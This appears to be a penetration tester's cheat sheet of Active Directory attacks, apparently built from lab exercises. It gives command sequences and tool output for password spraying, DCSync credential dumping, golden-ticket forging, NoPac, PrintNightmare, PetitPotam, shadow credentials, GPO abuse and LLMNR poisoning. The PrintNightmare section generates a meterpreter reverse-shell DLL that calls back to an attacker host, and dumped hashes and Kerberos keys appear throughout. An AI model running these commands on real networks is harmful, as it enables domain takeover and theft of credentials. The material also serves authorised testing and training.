# Common Attacks

## Enumerate Password Policy

```powershell
#Enumerate Password policy
Intrusionz3r0X@htb[/htb]$ nxc smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
Intrusionz3r0X@htb[/htb]$ enum4linux -P 172.16.5.5
Intrusionz3r0X@htb[/htb]$ enum4linux-ng -P 172.16.5.5 -oA ilfreight #Best Option
Intrusionz3r0X@htb[/htb]$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

#CMD
C:\htb> net accounts

#Powerview
PS C:\\htb> import-module .\\PowerView.ps1
PS C:\\htb> Get-DomainPolicy
```

## Password Spraying

{% hint style="info" %}
**Crackmapexec**: Pay attention to **Bad-Pwd-Count** value since this indicates the number of times the user tried to log on to the account using an incorrect password. Remember that we should run one, max two, password spraying attempts and wait over an hour between attempts.
{% endhint %}

```powershell
#Interal Password Spraying (Linux)
Intrusionz3r0X@htb[/htb]$ for u in $(cat valid_ad_users);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Intrusionz3r0X@htb[/htb]$ crackmapexec smb 172.16.5.5 -u valid_ad_users -p Password123 --continue-on-success
Intrusionz3r0X@htb[/htb]$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1

#Local admin Password Spraying
#Make sure **-local-auth** flag is set so we don't potentially lock out the built-in administrator for the domain
Intrusionz3r0X@htb[/htb]$ sudo crackmapexec smb **--local-auth** 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf --continue-on-success

#Internal Password Spraying - from Windows
PS C:\\htb> Import-Module .\\DomainPasswordSpray.ps1
PS C:\\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
PS C:\\htb> Invoke-DomainPasswordSpray -UserList <users> -Domain <domain-name> -PasswordList <password> -OutFile sprayed-creds.txt
```

{% embed url="<https://github.com/dafthack/DomainPasswordSpray>" %}

## RID Cycling Attack

```bash
Intrusionz3r0X@htb[/htb]$ nxc smb 10.10.11.236  -u 'dfsdfs' -p '' --rid-brute
Intrusionz3r0X@htb[/htb]$ impacket-lookupsid dsdfsdfs@manager.htb -no-pass
```

## DCSync Attack

{% hint style="success" %}
If If you get the NT Domain Control Computer Account, you can perform the attack.
{% endhint %}

To perform this attack our compromised user must have the next ACLs attached

* DS-Replication-Get-Changes-All
* DS-Replication-Get-Changes

```bash
#View user Group Membership
PS C:\htb> Get-DomainUser -Identity adunn  |select samaccountname,objectsid,memberof,useraccountcontrol |fl

# Check user Replication Rights
PS C:\htb> $sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
PS C:\htb> Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
PS C:\htb> Get-ObjectAcl -DistinguishedName "dc=example,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

#Extracting NTLM Hashes and Kerberos Keys Using secretsdump.py
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes

#Extract NTLM for a specific user by DCSYNC attack
.\\mimikatz.exe privilege::debug "lsadump::dcsync /user:inlanefreight\\krbtgt" exit
.\\mimikatz.exe privilege::debug "lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\\Administrator" exit
```

## Reversible Encryption Enabled

When this option is set on a user account, windows store the credentials using RC4 encryption and tools like **secretsdump** from **impacket** will decrypt any password stored using reversible encryption while dumping NTDS file.

```sh
#Enumerate user with Reversible Encryption Enabled
PS C:\\htb> Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```

## DNS Poisoning to Capture NTLMv2 Hashes

If you discover an internal application (like a subdomain checker, as shown in the screenshot) that performs DNS lookups, and the compromised user has the ability to create machine accounts (i.e., **`MachineAccountQuota > 0`**), you can leverage this to **coerce NTLMv2 authentication** and capture hashes.

<figure><img src="https://3625372132-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMZZ5b7ge25IjFldP6WSt%2Fuploads%2Fx0uXlxQy3jFcGKSo6IaI%2Fimage.png?alt=media&#x26;token=472159b5-d16a-4a56-b064-672503318829" alt=""><figcaption></figcaption></figure>

**Checkig the MachineAccountQuota**

```sh
❯ nxc ldap 10.10.65.121 -u Thomas.Powell -p 'Password123!' -M maq
SMB         10.10.65.121    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
LDAP        10.10.65.121    389    DC               [+] sendai.vl\Thomas.Powell:Password123! 
MAQ         10.10.65.121    389    DC               [*] Getting the MachineAccountQuota
MAQ         10.10.65.121    389    DC               MachineAccountQuota: 10
```

**Creating a fake computer**

```sh
❯ impacket-addcomputer sendai.vl/Thomas.Powell:'Password123!' -computer-name z3r0 -computer-pass Password123! -dc-ip 10.10.65.121
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account z3r0$ with password Password123!
```

**Adding a malicious DNS**

```sh
❯ python3 dnstool.py -u 'sendai.vl\z3r0$' -p 'Password123!' -r evil.sendai.vl -d 10.8.5.48 -a add dc.sendai.vl -dns-ip 10.10.65.121
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
```

Wait between 8 - 10 minutes to the server is able to spread the new configuration.

**Capturing the NTLMv2 hash**

```sh
sudo responder -I tun0
[sudo] password for Intrusionz3r0: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0
<SNIF>
[+] Listening for events...

[HTTP] NTLMv2 Client   : 10.10.65.121
[HTTP] NTLMv2 Username : SENDAI\websvc
[HTTP] NTLMv2 Hash     : websvc::SENDAI:521b32f46ea315bb:24C1C0CDFF3BB516F79639B3DA01AEE2:01010000000000001C4C3FD2F6A7DB010938B3C67A3ACFF600000000020008004D004E<SNIF>
```

## **ExtraSids Attack (SID History Injection Attack)**

{% hint style="info" %}
When you perform DCSync the parent domain use the flags **/domain:  /dc: \<FQDN> /user: \<DOMAINSID + USERID>**
{% endhint %}

**Requirenments:**

* Child user KRBTGT
* Child Domain controler
* User: Administrator
* RID Child Domain
* Enterprise Admins RID Group&#x20;

### **Enumeration on Windows**

```bash
#Obtain the SID
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainSID

#Obtaining Enterprise Admins Group's SID using Get-DomainGroup
PS C:\\htb> Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL" #Powershell cmdlet
PS C:\\htb> Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid #Powerview

#DCSync attack
PS C:\\htb> .\\mimikatz.exe privilege::debug "lsadump::dcsync /user:INLANEFREIGHT\\lab_adm /domain:INLANEFREIGHT.LOCAL" exit

#Golden Ticket Attack
PS C:\\htb> .\\mimikatz.exe privilege::debug "kerberos::golden /krbtgt:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt" exit
PS C:\\htb>  .\\Rubeus.exe golden /rc4:<krbtgt-ntlm> /domain:<FQDN-Child-Domain> /sid:<SID-Child-Domain>  /sids:<SID-EnterpriseAdmin-Parent-Domain> /user:hacker /ptt
```

### Enumeration on Linux

```sh
#Obtain SID of the Child Domain
Intrusionz3r0@htb[/htb]$ lookupsid.py dev.inlanefreight.ad/Administrator:'HTB_@cademy_adm!'@10.129.229.159 | grep "Domain SID"

#Obtain SID of Enterprise Admins from Parent Domain
Intrusionz3r0@htb[/htb]$ proxychains lookupsid.py dev.inlanefreight.ad/Administrator:'HTB_@cademy_adm!'@172.16.210.99 | grep -B12 "Enterprise Admins"

#Obtian NTLM or AesKey
DCSync Attack
```

### Automatic via RaiseChild

```sh
Intrusionz3r0@htb[/htb]$ impacket-raiseChild lab.trusted.vl/cpowers -hashes :322db798a55f85f09b3d61b976a13c43 2>/dev/null
```

### Manual from Windows

{% hint style="info" %}
This will not work in a Winrm session! you can use **RunasCS** or **Invoke-Command -computername localhost -credential $cred -ScriptBlock { REVERSESHELL }**
{% endhint %}

```powershell
PS C:\Users\Administrator\Documents> ./mimikatz.exe privilege::debug "kerberos::golden /user:Administrator /krbtgt:c7a03c565c68c6fac5f8913fab576ebd /domain:lab.trusted.vl /sid:S-1-5-21-2241985869-2159962460-1278545866 /sids:S-1-5-21-3576695518-347000760-3731839591-519 /ptt" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # kerberos::golden /user:Administrator /krbtgt:c7a03c565c68c6fac5f8913fab576ebd /domain:lab.trusted.vl /sid:S-1-5-21-2241985869-2159962460-1278545866 /sids:S-1-5-21-3576695518-347000760-3731839591-519 /ptt
User      : Administrator
Domain    : lab.trusted.vl (LAB)
SID       : S-1-5-21-2241985869-2159962460-1278545866
User Id   : 500
Groups Id : *513 512 520 518 519 
Extra SIDs: S-1-5-21-3576695518-347000760-3731839591-519 ; 
ServiceKey: c7a03c565c68c6fac5f8913fab576ebd - rc4_hmac_nt      
Lifetime  : 1/22/2025 12:51:16 AM ; 1/20/2035 12:51:16 AM ; 1/20/2035 12:51:16 AM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ lab.trusted.vl' successfully submitted for current session

mimikatz(commandline) # exit
Bye!
PS C:\Users\Administrator\Documents> klist

Current LogonId is 0:0x2efbeb

Cached Tickets: (1)

#0>	Client: Administrator @ lab.trusted.vl
	Server: krbtgt/lab.trusted.vl @ lab.trusted.vl
	KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
	Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent 
	Start Time: 1/22/2025 0:51:16 (local)
	End Time:   1/20/2035 0:51:16 (local)
	Renew Time: 1/20/2035 0:51:16 (local)
	Session Key Type: RSADSI RC4-HMAC(NT)
	Cache Flags: 0x1 -> PRIMARY 
	Kdc Called: 

```

```powershell
PS C:\Users\Administrator\Documents> ./mimikatz.exe privilege::debug "lsadump::dcsync /domain:trusted.vl /dc:trusteddc.trusted.vl /user:S-1-5-21-3576695518-347000760-3731839591-500" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /domain:trusted.vl /dc:trusteddc.trusted.vl /user:S-1-5-21-3576695518-347000760-3731839591-500
[DC] 'trusted.vl' will be the domain
[DC] 'trusteddc.trusted.vl' will be the DC server
[DC] 'S-1-5-21-3576695518-347000760-3731839591-500' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   : 1/1/1601 12:00:00 AM
Password last change : 9/18/2022 8:50:53 PM
Object Security ID   : S-1-5-21-3576695518-347000760-3731839591-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 15db914be1e6a896e7692f608a9d72ef
    ntlm- 0: 15db914be1e6a896e7692f608a9d72ef
    ntlm- 1: 86a9ee70dfd64d20992283dc5721b475
    lm  - 0: 1a28b083f0e83167bec07d185d492a67

<SNIF>

PS C:\Users\Administrator\Documents> 
```

### Manual from Linux

```sh
impacket-ticketer -nthash c7a03c565c68c6fac5f8913fab576ebd -domain lab.trusted.vl -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 -user-id 500 Administrator 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for lab.trusted.vl/Administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncAsRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncASRepPart
[*] Saving ticket in Administrator.ccache

❯ KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass @TRUSTEDDC.trusted.vl -just-dc
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:15db914be1e6a896e7692f608a9d72ef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d9436aebee2db5c6e4166d5e2472fa2d:::
TRUSTEDDC$:1000:aad3b435b51404eeaad3b435b51404ee:33bf578b59ddf93c5d5a432744db5b18:::
LAB$:1103:aad3b435b51404eeaad3b435b51404ee:71efe1e8f79dbc400686157b8b6b378d:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:d75ec7df1acac724a6dfc250e707aab3492b6d9936b9898f742781b0a871d4a6
Administrator:aes128-cts-hmac-sha1-96:1cee32af6e8cd27059d855e6c6b4d5ec
Administrator:des-cbc-md5:aed5e385512c685e
krbtgt:aes256-cts-hmac-sha1-96:3e5bc8a7d01388cdaf4ab8541f4e360d4fd9089723cedfd08f8016b7900ba2bf
krbtgt:aes128-cts-hmac-sha1-96:0c847e33f046419fec204e4187eeb1f4
krbtgt:des-cbc-md5:2943ad0131269702
TRUSTEDDC$:aes256-cts-hmac-sha1-96:c742159663525be9f3bcfcdd93b51d1afa635150b3935cc11653b8d6ded5d2e5
TRUSTEDDC$:aes128-cts-hmac-sha1-96:fad5815041bad051c72de3366f6ec83b
TRUSTEDDC$:des-cbc-md5:d3d35d2ce0982f6e
LAB$:aes256-cts-hmac-sha1-96:3e216f567145f88fec4e445171c7f2b5f12fb65d7b50b865079856782d79f108
LAB$:aes128-cts-hmac-sha1-96:5a6f0b23abcf1e23a5df45f578878167
LAB$:des-cbc-md5:1367e0b53762d0ba
[*] Cleaning up... 

```

### New Windows Version

{% hint style="info" %}
DC\_ERR\_TGT\_REVOKED

The KDC\_ERR\_TGT\_REVOKED error occurs because, starting with Windows update KB5008380, the KDC (Key Distribution Center) now checks if the user exists with the RID (user unique identifier). In order to perform an attack like ExtraSID and compromise the parent domain from the child, you need to generate a ticket for a real user with the correct RID. That is why you now need to use the -user-id and -aesKey parameters when creating the ticket, as mentioned, in order for the KDC check to pass successfully.
{% endhint %}

<pre class="language-powershell"><code class="lang-powershell"><strong>impacket-ticketer -aesKey 3bdcbeb0910e5887e6d6c1234567891e099322ac91cc386ca296a5c5497b0 -domain child.domain.local -domain-sid S-1-5-21-3056178012-397123859-491075245 -extra-sid S-1-5-221-2731230894-461713716-141835440-519 -user-id 500 Administrator  2>/dev/null
</strong>
export KRB5CCNAME=Administrator.ccache

impacket-secretsdump -k -no-pass @FQDN -just-dc
</code></pre>

{% embed url="<https://github.com/fortra/impacket/issues/1661>" %}

{% embed url="<https://github.com/fortra/impacket/issues/1601>" %}

## **Printer Bug**

```bash

PS C:\\htb> Import-Module .\SecurityAssessment.ps1
PS C:\\htb> Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

ComputerName                        Status
------------                        ------
ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL   True

#Monitoring Tickets with Rubeus
PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap

#Abusing the Printer Bug
PS C:\Tools> .\SpoolSample.exe Target_Server Capture_Server
```

## **MS14-068**

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068>" %}

## **Group Policy Preferences (GPP) Passwords**

```bash
#Retrieving GPP Passwords
Intrusionz3r0X@htb[/htb]$ gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE
Intrusionz3r0X@htb[/htb]$ netexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
```

## **DNS Records When the naming convention is non-descriptive**

```bash
Intrusionz3r0X@htb[/htb]$ adidnsdump -u inlanefreight\\\\forend ldap://172.16.5.5 -r

Intrusionz3r0X@htb[/htb]$ head records.csv 

type,name,value
?,LOGISTICS,?
AAAA,ForestDnsZones,dead:beef::7442:c49d:e1d7:2691
AAAA,ForestDnsZones,dead:beef::231
A,ForestDnsZones,10.129.202.29
A,ForestDnsZones,172.16.5.240
A,ForestDnsZones,172.16.5.5
AAAA,DomainDnsZones,dead:beef::7442:c49d:e1d7:2691
AAAA,DomainDnsZones,dead:beef::231
A,DomainDnsZones,10.129.202.29
```

## **NoPac (SamAccountName Spoofing)**

```bash
#Ensure everything is installed (NoPack and Impacket)
Intrusionz3r0X@htb[/htb]$ git clone https://github.com/SecureAuthCorp/impacket.git
Intrusionz3r0X@htb[/htb]$ python setup.py install 
Intrusionz3r0X@htb[/htb]$ git clone https://github.com/Ridter/noPac.git

#Scanning NoPac Vulnerability
Intrusionz3r0X@htb[/htb]$ sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
#Get a Administrator Shell
Intrusionz3r0X@htb[/htb]$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
#Perform to DCSyng Attack through NoPac
Intrusionz3r0X@htb[/htb]$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc
Intrusionz3r0X@htb[/htb]$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator
```

## PrinterNightmare

```bash
#Exploit by cube0x0
Intrusionz3r0X@htb[/htb]$ git clone https://github.com/cube0x0/CVE-2021-1675.git

#Impacket Version
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

#Exploit vulnerability
Intrusionz3r0X@htb[/htb]$ rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR' #Check if is vulnerable and the services are exposed
Intrusionz3r0X@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
Intrusionz3r0X@htb[/htb]$ sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
msf> use exploit/multi/handler
msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf> set LHOST 172.16.5.225
msf> set LPORT 8080
msf> run
Intrusionz3r0X@htb[/htb]$ sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\\\172.16.5.225\\CompData\\backupscript.dll'
```

## **PetitPotam (MS-EFSRPC)**

<https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-Petitpotam.ps1>

```bash
Intrusionz3r0X@htb[/htb]$ sudo ntlmrelayx.py -debug -smb2support --target <http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp> --adcs --template DomainController

#Running PetitPotam
Intrusionz3r0X@htb[/htb]$ python3 PetitPotam.py 172.16.5.225 172.16.5.5   
mimikatz privilege::debug "misc::efs /server:<Domain Controller> /connect:<ATTACK HOST>" exit

#Submitting a TGS Request for Ourselves Using getnthash.py
Intrusionz3r0X@htb[/htb]$ python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\\$ -pfx-base64 <base64> dc01.ccache
Intrusionz3r0X@htb[/htb]$ export KRB5CCNAME=dc01.ccache
Intrusionz3r0X@htb[/htb]$ secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
```

## **Shadow Credentials**

{% hint style="info" %}
If your user possesses **`WriteDACL`** or `AddKeyCredentialLink` over any user or computer account  you can write the attribute `msDS-KeyCredentialLink` to make the object vulnerable to Shadow Credentials
{% endhint %}

### **Linux**

#### **Using Pywhister**

<pre class="language-sh"><code class="lang-sh"><strong>Intrusionz3r0X@htb[/htb]$ python3 pywhisker.py -d "DOMAIN.LOCAL" -u "COMPROMISEDUSER" -p 'PASSWORD123!' --target "COMPUTERNAME$" --action "add"
</strong>&#x3C;SNIF>
[+] Saved PFX (#PKCS12) certificate &#x26; key at path: dGRWm33G.pfx
[*] Must be used with password: e0oMDaDQWXsaGrZZTXnz

Intrusionz3r0X@htb[/htb]$ python gettgtpkinit.py -cert-pfx dGRWm33G.pfx -pfx-pass 'e0oMDaDQWXsaGrZZTXnz' 'DOMAIN.LOCAL/COMPUTERNAME$' data.ccache
#2025-01-05 18:30:39,784 minikerberos INFO     59cc9737388ac8d9a15e68d53eeeeb6088212099a0d6aade1b15ce2223fdfb6e

<strong>Intrusionz3r0X@htb[/htb]$ KRB5CCNAME=data.ccache python getnthash.py -key '59cc9737388ac8d9a15e68d53eeeeb6088212099a0d6aade1b15ce2223fdfb6e' 'DOMAIN.LOCAL/COMPUTERNAME$'
</strong></code></pre>

{% embed url="<https://github.com/ShutdownRepo/pywhisker>" %}

#### Using Certipy-ad

```sh
Intrusionz3r0X@htb[/htb]$ certipy-ad shadow -u compromised_user -p 'password' -dc-ip x.xx.1x.xx -account target_user auto
```

### Windows

```sh
#Writing msDS-KeyCredentialLink attribute to target
PS C:\Tools> .\Whisker.exe add /target:DC01$ /domain:inlanefreight.ad
#Requesting Ticket Granting Ticket
PS C:\Tools> .\Rubeus.exe asktgt /user:DC01$ /certificate:MIIJuAIBA<SNIP>" /password:<Passwod> /domain:inlanefreight.ad /dc:DC01.INLANEFREIGHT.AD /getcredentials /show
```

{% embed url="<https://github.com/eladshamir/Whisker>" %}

## GPO-Based Privilege Escalation to Domain Compromise

<figure><img src="https://3625372132-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMZZ5b7ge25IjFldP6WSt%2Fuploads%2F37g9AWMi0YBt3tsIRIMO%2Fimage.png?alt=media&#x26;token=5410e6a4-a763-4244-8e10-1a32fa009c9c" alt=""><figcaption></figcaption></figure>

If you identify that a user possesses `GenericAll` permissions over **`Default Domain Policy`** or **`Default Domain Controllers Policy`**, you can **abuse Group Policy Objects (GPOs)** to escalate privileges within the domain.

This scenario allows you to **create a scheduled task** (or perform other privileged actions) that will be executed on domain-joined machines, including Domain Controllers.

```sh
#Obtain GPO-ID
PS C:\temp> Get-GPO -all

#GPO Abuse tool
❯ python3 pygpoabuse.py baby2.vl/gpoadm:'Password1!' -dc-ip 10.10.68.84 -gpo-id '6ac1786c-016f-11d2-945f-00c04fb984f9'
SUCCESS:root:ScheduledTask TASK_5cdfc77f created!
[+] ScheduledTask TASK_5cdfc77f created!

#Update the GPO's
PS C:\temp> Gpupdate /force
```

## Pre-Windows 2000 computer account&#x20;

In Active Directory, when administrators create computer accounts with the "Assign this computer account as a pre-Windows 2000 computer" option enabled, the system sets the account's password to the computer's name in lowercase. For example, a computer account named "BANKING$" would have a default password of "banking"

```sh
❯ nxc smb 10.10.105.102 -u BANKING$  -p banking
SMB         10.10.105.102   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB         10.10.105.102   445    DC               [-] retro.vl\BANKING$:banking STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
```

```sh
❯ impacket-changepasswd retro.vl/'BANKING$':'banking'@10.10.105.102 -p rpc-samr
```

## **LLMNR/NBT-NS Poisoning**

```bash
#Responser tool (Linux)
# Hashes are saved on /usr/share/responder/logs
Intrusionz3r0X@htb[/htb]$ sudo responder -I <interface>

#Inveigh tool (Windows)
PS C:\\htb> Import-Module .\\Inveigh.ps1
PS C:\\htb> (Get-Command Invoke-Inveigh).Parameters
PS C:\\htb> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

#Press ESC to enter/exit interactive console.
#HELP
#GET NTLMV2UNIQUE (get only the NTLMv2 hashes)
#GET NTLMV2USERNAMES (Get only the usernames)
PS C:\\htb> .\\Inveigh.exe
Press ESC to enter/exit interactive console

```

{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

{% embed url="<https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/#google_vignette>" %}
